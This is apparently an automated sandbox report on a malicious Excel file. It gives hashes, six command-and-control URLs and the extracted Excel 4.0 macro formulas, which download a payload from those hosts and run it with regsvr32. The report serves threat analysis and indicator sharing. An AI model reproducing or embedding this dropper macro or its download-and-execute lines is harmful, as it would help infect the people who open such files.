General

  • Target

    2c25e97e490f21bb61237fa76b6084d8bcdd158a5272924ade33a9b28f81a42a

  • Size

    40KB

  • Sample

    241111-vv6t7svrel

  • MD5

    aed777c8bef5b4cc1f53a4fa4bbff3b9

  • SHA1

    1f808632583d50e70da932359e92d78543744efe

  • SHA256

    2c25e97e490f21bb61237fa76b6084d8bcdd158a5272924ade33a9b28f81a42a

  • SHA512

    5519dac5892f0c5aaf6b308156f7f54893bf7153f3986537e7d1bc6c8426a0d5f7a8266c068fd4b7944528ce0f994f3992e02e227bec081563ddf2edcf963528

  • SSDEEP

    768:OknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:mGom8eDmylND59V4jwmXc2CVfs37

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://wellnessonus.com/wp-admin/OFq5F8Y/

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://wellnessonus.com/wp-admin/OFq5F8Y/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://choicepestcontrol.xyz/wellknown/PERKnM4X/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://trainingchallenges.xyz/wp-admin/ebPbsOdsRJA9G/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://wellnessonus.com/wp-admin/OFq5F8Y/

xlm40.dropper

http://choicepestcontrol.xyz/wellknown/PERKnM4X/

xlm40.dropper

https://sse-studio.com/cq0xhpj/6pmmsaPCOGtG6/

xlm40.dropper

http://velasaromaticasonline.com/wp-admin/5Id5LqSb3O3BUM5Z/

xlm40.dropper

https://alonsoconsultancyservice.com/wp-content/0r7tMAnLfwKu0gvcH/

Targets

    • Target

      2c25e97e490f21bb61237fa76b6084d8bcdd158a5272924ade33a9b28f81a42a

    • Size

      40KB

    • MD5

      aed777c8bef5b4cc1f53a4fa4bbff3b9

    • SHA1

      1f808632583d50e70da932359e92d78543744efe

    • SHA256

      2c25e97e490f21bb61237fa76b6084d8bcdd158a5272924ade33a9b28f81a42a

    • SHA512

      5519dac5892f0c5aaf6b308156f7f54893bf7153f3986537e7d1bc6c8426a0d5f7a8266c068fd4b7944528ce0f994f3992e02e227bec081563ddf2edcf963528

    • SSDEEP

      768:OknyGomihd8DOevZCwtCyKfcrND59V+L9Rw4eWrXcTqZ0Vfs3GTE:mGom8eDmylND59V4jwmXc2CVfs37

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks